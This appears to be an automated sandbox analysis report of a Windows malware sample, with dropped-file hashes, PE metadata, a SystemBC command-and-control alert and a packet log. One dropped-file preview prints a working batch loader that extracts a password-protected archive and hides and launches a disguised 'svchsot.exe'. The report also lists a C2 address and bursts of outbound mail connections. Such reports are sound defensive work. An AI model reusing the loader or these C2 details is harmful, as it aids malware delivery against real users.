Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..r..o!..o!..o!..\|!..o!..}!..o!Rich..o!................PE..L.....Z].....................................@....@..........................`..............................................\|A.......................................................................................@..\|............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...,....P.......<..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1666001
Entropy (8bit):	7.99988584776749
Encrypted:	true
SSDEEP:	49152:lTwH6b0rx8GpFuZ1kP2s+Cf6ZbvbeBNiw8QyM438ggxw2xxP:Rorxb8PkesdfWK/iez4HeP
MD5:	CD52743B77CA507B74A172F952F72E72
SHA1:	3D4F09CE7801320A5AEC921D06BAB5CB7B900EF6
SHA-256:	5141C540EBC7182C3FD04327710629B7C67AFF6681233ED1C016760386B3E493
SHA-512:	64B3E42F767CD295BF0EE02D2D3189506C51CDF0CC88E31814DDB2895A9D1FF7AAE88F0E284A7542D0A514A2DFD71B09E8E1506DA964A27C5AA66D11BA994F62
Malicious:	false
Preview:	PK........m..X...7k..+k......file_3.zip..E..~.....`.grcp!.z.U.......+"....b...8...\..~(61...~...+..z.mX Ct...a9......y/.....OG....SD........^...w..J.m.n.....&.\..3\...\|Y.\....}..}/..{...y..w.'^.-E9...k.V.,.K......j .......E...bK2..!.q.h... 7b"Y.s7:B.\..j..v3...jf..lfk+..N..._1.'..k..uxg..?y.UZ...R$..&.....Y..j.r.f..(y!n..Dr:UfjZ.C<........t.K@....2i...=...a.M....T..x.........=...X.B.B.....S.:...r.....>..R;.Gl.....hH.....'..?cU......W..V."...Y.o.4n......IT....TB`.n.../.)..3.s..4.D...\|..gl..$.%.........d...........;S6.LMS..p. .A.........~..Tu.0g.M...).....@_K>3w..b.le.Ge.f.o..<..{.;..[.n..U...V..h...6l....X..V.]..h...\.S..\...c.w.I.........\w..;..8......(...+.G.....v/Hz.i...............@aB..b..gH..n.#IkU......N..%p..Ad.cW.,.\..>..H....;$..p..j.0T...N[q..G.....B0)..%.......Q...s.m`..~n..F^\|.....I..D.K.t/[:.ug......;..c d.5J.-.....bF....5..1C.JI..CL./..yG.r`."..(.a...Q.}.D;'%....!.<...tY~.wj...+7[*.\......z...{...p..&$e...$

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1666001
Entropy (8bit):	7.99988584776749
Encrypted:	true
SSDEEP:	49152:lTwH6b0rx8GpFuZ1kP2s+Cf6ZbvbeBNiw8QyM438ggxw2xxP:Rorxb8PkesdfWK/iez4HeP
MD5:	CD52743B77CA507B74A172F952F72E72
SHA1:	3D4F09CE7801320A5AEC921D06BAB5CB7B900EF6
SHA-256:	5141C540EBC7182C3FD04327710629B7C67AFF6681233ED1C016760386B3E493
SHA-512:	64B3E42F767CD295BF0EE02D2D3189506C51CDF0CC88E31814DDB2895A9D1FF7AAE88F0E284A7542D0A514A2DFD71B09E8E1506DA964A27C5AA66D11BA994F62
Malicious:	false
Preview:	PK........m..X...7k..+k......file_3.zip..E..~.....`.grcp!.z.U.......+"....b...8...\..~(61...~...+..z.mX Ct...a9......y/.....OG....SD........^...w..J.m.n.....&.\..3\...\|Y.\....}..}/..{...y..w.'^.-E9...k.V.,.K......j .......E...bK2..!.q.h... 7b"Y.s7:B.\..j..v3...jf..lfk+..N..._1.'..k..uxg..?y.UZ...R$..&.....Y..j.r.f..(y!n..Dr:UfjZ.C<........t.K@....2i...=...a.M....T..x.........=...X.B.B.....S.:...r.....>..R;.Gl.....hH.....'..?cU......W..V."...Y.o.4n......IT....TB`.n.../.)..3.s..4.D...\|..gl..$.%.........d...........;S6.LMS..p. .A.........~..Tu.0g.M...).....@_K>3w..b.le.Ge.f.o..<..{.;..[.n..U...V..h...6l....X..V.]..h...\.S..\...c.w.I.........\w..;..8......(...+.G.....v/Hz.i...............@aB..b..gH..n.#IkU......N..%p..Ad.cW.,.\..>..H....;$..p..j.0T...N[q..G.....B0)..%.......Q...s.m`..~n..F^\|.....I..D.K.t/[:.ug......;..c d.5J.-.....bF....5..1C.JI..CL./..yG.r`."..(.a...Q.}.D;'%....!.<...tY~.wj...+7[*.\......z...{...p..&$e...$

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	465
Entropy (8bit):	5.117741928551787
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvwxBVSL3W/PCVGrMLvmuCTjga780KtrrlKNzY:QUpNF16g632CkeuVoW/PCVGYTLS8/J
MD5:	4333B6C9E2AC1168F592332FB3C26592
SHA1:	E98A2BB4EDEBAA886DABEF3181768C5ED7E6B794
SHA-256:	6A4FAA98D6FE1D6A65EA2C162F96DAA5974BCB3558AD9D98158D215FFE5DE06C
SHA-512:	1456622035353C2DBE2F902883657CFF3DA5EA03FF30C460D0E0525CCE2B5CC958D3A469C436FF0183F42FB0121AE8C17A3143F14AFFA62471957E4443E27351
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p11126109881796147432108526241 -oextracted ..for /l %%i in (3,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "svchsot.exe" ../..cd....rd /s /q extracted..attrib +H "svchsot.exe"..start "" "svchsot.exe"..cls..echo Launched 'svchsot.exe'...pause..del /f /q "svchsot.exe"..

C:\Windows\Tasks\psdirwa.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\svchsot.exe
File Type:	data
Category:	modified
Size (bytes):	254
Entropy (8bit):	3.521245227717328
Encrypted:	false
SSDEEP:	6:Z8Qzo/80e/9bhEZMouwA3SYtiDljgsW2YRZuy0lPjoP1:ZF8S/9bRSxJjzvYRQVbot
MD5:	CA0C8A550B0DF87B9BA274DD8B1B4DCB
SHA1:	85DEFE3BC16A8483595BD10FE978DB111FA18715
SHA-256:	4345F346913D707F9C006482965088DB0D9FA01FC5E27A75D725365DFEE81871
SHA-512:	BE9F8D23E4240EA784C1CB9C13F2B4657624328FF0E6367181C8502BFC6DE64053A857645AEEF717787F496D08D21643651B025E534BE84DB2C010680010BF82
Malicious:	false
Preview:	.........zA.eE....F.......<... .....\.........."....................".C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.i.i.h.f.v.e.\.p.s.d.i.r.w.a...e.x.e.....s.t.a.r.t.2.......J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.........L.....................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.043357539904272
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBSjgeSTgqF1AivwtHgNUAIFfpap1tNO9oVZn:pMpDh5RwXKgTTgqFyYwfAIJA1tNEoVZn
MD5:	6EA68688CB7E765C104EDE2081AD7ECD
SHA1:	DBB220378FB5FE06140DC0FB4E1FA21740150A31
SHA-256:	82211740EA8E8F5FBC007A287CE283629C7CC6280AD2A12896CDF3FE534D755D
SHA-512:	FB7A61231C10E53ADBDF13F03B280BD2B55AC101F3D37871B832DDD3FCD8176883435422B6DEB99FCE8148FD2ED935E5D8B5CEB3711FAEE006C37F94FEF16DBC
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 8368 bytes (9 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 8368.... 0%. .Everything is Ok....Size: 16384..Compressed: 8368..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.987073146549921
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'600'456 bytes
MD5:	ca3b49582edf9cab4714a35647907f3e
SHA1:	e9b265e85b333051d7014a7352747d09634a9fe6
SHA256:	05f41f450584e2f2a99ffe86ec699b2f1569b1080ffa801ca8b4adf3b6d1c832
SHA512:	83fd5d6bcf85df317a73d8fe89782fbe3541972bd5d187c749681e939024f22536c2ed1c41bfa37b46bd45b20c589e2b997923d8e8e49bb6fc68f58908e34fa9
SSDEEP:	49152:aF5alGJpSQXYVCV/EVCLV2Hpaht/rFoeeA6ASh2jQMTREJcI:aF5alGhXJ5EVCsitzFoeeA6jYnPI
TLSH:	43C533B377F2B0B4E19A223774A4B77825D4E76C4F1280D78B981A096C722C251B67DF
File Content Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................q(..............................................0...N..........@\|'..1.

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x41945f
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4FC33FCE [Mon May 28 09:05:18 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f6baa5eaa8231d4fe8e922a2e6d240ea

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=STATPLUS, E=STATPLUS, O=STATPLUS, L=STATPLUS, C=USA
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	29/04/2024 01:00:00 29/04/2026 01:00:00
Subject Chain	CN=STATPLUS, E=STATPLUS, O=STATPLUS, L=STATPLUS, C=USA
Version:	3
Thumbprint MD5:	2A7DDB510D846ACBCEF4EA8980A62D0D
Thumbprint SHA-1:	24A3B6150C6C347A2730146760255F5A4CC8C1FD
Thumbprint SHA-256:	A769E0E451231320A01A66CC00192BA7AFC3CEED51F673CFF17327476168FC7D
Serial:	7D655BFA9D6AB835

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 0041C480h
push 004195F0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [0041A1E0h]
pop ecx
or dword ptr [00422DE4h], FFFFFFFFh
or dword ptr [00422DE8h], FFFFFFFFh
call dword ptr [0041A1E4h]
mov ecx, dword ptr [00420DCCh]
mov dword ptr [eax], ecx
call dword ptr [0041A1E8h]
mov ecx, dword ptr [00420DC8h]
mov dword ptr [eax], ecx
mov eax, dword ptr [0041A1ECh]
mov eax, dword ptr [eax]
mov dword ptr [00422DE0h], eax
call 00007FE7CD8D3232h
cmp dword ptr [0041E950h], ebx
jne 00007FE7CD8D311Eh
push 004195E8h
call dword ptr [0041A1F0h]
pop ecx
call 00007FE7CD8D3204h
push 0041E070h
push 0041E06Ch
call 00007FE7CD8D31EFh
mov eax, dword ptr [00420DC4h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00420DC0h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0041A1F8h]
push 0041E068h
push 0041E000h
call 00007FE7CD8D31BCh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c984	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x23000	0x4ed4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x277c40	0x31c8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a000	0x36c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x18e0e	0x19000	f0836cba21beea0b17b3e833066d9026	False	0.602919921875	data	6.655965738621223	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a000	0x3bda	0x3c00	d084871adc0cd9263e4a1811b8fc40fa	False	0.45553385416666664	data	5.725242374702596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1e000	0x4dec	0xa00	8c42b68006a121b1b9ebd199e2e59ca5	False	0.50546875	data	4.442014356812219	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23000	0x4ed4	0x5000	dc63fa1c490f4ba4dedfb2f9eb0313e0	False	0.1	data	3.9394753478380444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x231c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.0975177304964539
RT_ICON	0x23628	0x9b8	Device independent bitmap graphic, 24 x 48 x 32, image size 2448	Russian	Russia	0.10008038585209003
RT_ICON	0x23fe0	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	Russian	Russia	0.061930783242258654
RT_ICON	0x25108	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	Russian	Russia	0.04017493897477624
RT_GROUP_ICON	0x27770	0x3e	data	Russian	Russia	0.8387096774193549
RT_VERSION	0x277b0	0x3dc	data			0.4645748987854251
RT_MANIFEST	0x27b8c	0x346	ASCII text, with CRLF line terminators	English	United States	0.5071599045346062

Imports

DLL	Import
COMCTL32.dll
SHELL32.dll	SHGetSpecialFolderPathW, ShellExecuteW, SHGetMalloc, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteExW
GDI32.dll	CreateCompatibleDC, CreateFontIndirectW, DeleteObject, DeleteDC, GetCurrentObject, StretchBlt, GetDeviceCaps, CreateCompatibleBitmap, SelectObject, SetStretchBltMode, GetObjectW
ADVAPI32.dll	FreeSid, AllocateAndInitializeSid, CheckTokenMembership
USER32.dll	GetWindowLongW, GetMenu, SetWindowPos, GetWindowDC, ReleaseDC, GetDlgItem, GetParent, GetWindowRect, GetClassNameA, CreateWindowExW, SetTimer, GetMessageW, DispatchMessageW, KillTimer, DestroyWindow, SendMessageW, EndDialog, wsprintfW, GetWindowTextW, GetWindowTextLengthW, GetSysColor, wsprintfA, SetWindowTextW, MessageBoxA, ScreenToClient, GetClientRect, SetWindowLongW, UnhookWindowsHookEx, SetFocus, GetSystemMetrics, SystemParametersInfoW, ShowWindow, DrawTextW, GetDC, ClientToScreen, GetWindow, DialogBoxIndirectParamW, DrawIconEx, CallWindowProcW, DefWindowProcW, CallNextHookEx, PtInRect, SetWindowsHookExW, LoadImageW, LoadIconW, MessageBeep, EnableWindow, IsWindow, EnableMenuItem, GetSystemMenu, CreateWindowExA, wvsprintfW, CharUpperW, GetKeyState, CopyImage
ole32.dll	CreateStreamOnHGlobal, CoCreateInstance, CoInitialize
OLEAUT32.dll	VariantClear, SysFreeString, OleLoadPicture, SysAllocString
KERNEL32.dll	GetFileSize, SetFilePointer, ReadFile, WaitForMultipleObjects, GetModuleHandleA, SetFileTime, SetEndOfFile, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, FormatMessageW, lstrcpyW, LocalFree, IsBadReadPtr, GetSystemDirectoryW, GetCurrentThreadId, SuspendThread, TerminateThread, InitializeCriticalSection, ResetEvent, SetEvent, CreateEventW, GetVersionExW, GetModuleFileNameW, GetCurrentProcess, SetProcessWorkingSetSize, SetCurrentDirectoryW, GetDriveTypeW, CreateFileW, GetCommandLineW, GetStartupInfoW, CreateProcessW, CreateJobObjectW, ResumeThread, AssignProcessToJobObject, CreateIoCompletionPort, SetInformationJobObject, GetQueuedCompletionStatus, GetExitCodeProcess, CloseHandle, SetEnvironmentVariableW, GetTempPathW, GetSystemTimeAsFileTime, lstrlenW, CompareFileTime, SetThreadLocale, FindFirstFileW, DeleteFileW, FindNextFileW, FindClose, RemoveDirectoryW, ExpandEnvironmentStringsW, WideCharToMultiByte, VirtualAlloc, GlobalMemoryStatusEx, lstrcmpW, GetEnvironmentVariableW, lstrcmpiW, lstrlenA, GetLocaleInfoW, MultiByteToWideChar, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetSystemDefaultLCID, lstrcmpiA, GlobalAlloc, GlobalFree, MulDiv, FindResourceExA, SizeofResource, LoadResource, LockResource, LoadLibraryA, GetProcAddress, GetModuleHandleW, ExitProcess, lstrcatW, GetDiskFreeSpaceExW, SetFileAttributesW, SetLastError, Sleep, GetExitCodeThread, WaitForSingleObject, CreateThread, GetLastError, SystemTimeToFileTime, GetLocalTime, GetFileAttributesW, CreateDirectoryW, WriteFile, GetStdHandle, VirtualFree, GetStartupInfoA
MSVCRT.dll	??3@YAXPAX@Z, ??2@YAPAXI@Z, memcmp, free, memcpy, _wtol, _controlfp, _except_handler3, __set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, ??1type_info@@UAE@XZ, _onexit, __dllonexit, _CxxThrowException, _beginthreadex, _EH_prolog, ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z, memset, _wcsnicmp, strncmp, wcsncmp, malloc, memmove, _purecall

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/19/24-17:26:01.736910	TCP	2031599	ET TROJAN Win32/SystemBC CnC Checkin	49734	4001	192.168.2.4	212.162.153.199

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2024 17:26:01.730406046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:26:01.735779047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:26:01.735865116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:26:01.736910105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:26:01.999985933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.110032082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.150751114 CEST	49742	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.156025887 CEST	587	49742	194.153.145.104	192.168.2.4
May 19, 2024 17:27:37.156157017 CEST	49742	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.156239033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.207331896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.265885115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.303395033 CEST	49743	465	192.168.2.4	192.0.78.170
May 19, 2024 17:27:37.313946009 CEST	49744	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:37.317832947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.318844080 CEST	49745	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:37.323200941 CEST	465	49743	192.0.78.170	192.168.2.4
May 19, 2024 17:27:37.323318958 CEST	49743	465	192.168.2.4	192.0.78.170
May 19, 2024 17:27:37.323417902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.323613882 CEST	49746	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:37.327987909 CEST	587	49744	193.81.82.81	192.168.2.4
May 19, 2024 17:27:37.328059912 CEST	49744	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:37.328186989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.332756996 CEST	587	49745	104.18.2.81	192.168.2.4
May 19, 2024 17:27:37.332825899 CEST	49745	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:37.332945108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.337723970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.337753057 CEST	587	49746	188.114.96.3	192.168.2.4
May 19, 2024 17:27:37.337829113 CEST	49746	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:37.337984085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.342607021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.348247051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.353024960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.401228905 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.401575089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.403181076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.403331995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.455357075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.501245975 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.501286030 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.502592087 CEST	49748	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:37.507705927 CEST	587	49748	104.22.65.144	192.168.2.4
May 19, 2024 17:27:37.507916927 CEST	49748	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:37.508220911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.529711962 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.534559011 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.583626986 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.592147112 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:37.639542103 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:37.639864922 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:37.640278101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.644335032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.649272919 CEST	49750	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.692918062 CEST	49751	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:37.693089008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.693485975 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:37.697983980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.698018074 CEST	587	49750	194.153.145.104	192.168.2.4
May 19, 2024 17:27:37.698158026 CEST	49750	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.698568106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.703002930 CEST	587	49751	199.85.66.2	192.168.2.4
May 19, 2024 17:27:37.703128099 CEST	49751	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:37.703422070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.707966089 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:37.708193064 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:37.708348989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.712969065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.719783068 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.765142918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.782671928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.796247005 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:37.803755045 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:37.808224916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.808274031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.812818050 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:37.812948942 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:37.813118935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.817557096 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:37.817631960 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:37.817729950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.822312117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.822357893 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.827055931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.873277903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.883717060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.887262106 CEST	49755	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.925149918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.925151110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.930159092 CEST	49756	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:37.934421062 CEST	587	49755	194.153.145.104	192.168.2.4
May 19, 2024 17:27:37.934509993 CEST	49755	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:37.934612036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.939373970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.944288015 CEST	587	49756	120.50.131.112	192.168.2.4
May 19, 2024 17:27:37.944528103 CEST	49756	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:37.944655895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:37.949462891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:37.954479933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.022670031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.060592890 CEST	49757	587	192.168.2.4	213.250.19.150
May 19, 2024 17:27:38.067987919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.072813034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.072813034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.077419043 CEST	587	49757	213.250.19.150	192.168.2.4
May 19, 2024 17:27:38.077505112 CEST	49757	587	192.168.2.4	213.250.19.150
May 19, 2024 17:27:38.077685118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.082329988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.087644100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.134273052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.134273052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.138885021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.185365915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.185408115 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:38.185920000 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.190387964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.237468958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:38.238153934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.238153934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:38.238245010 CEST	49758	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:38.239867926 CEST	49749	587	192.168.2.4	129.159.94.43
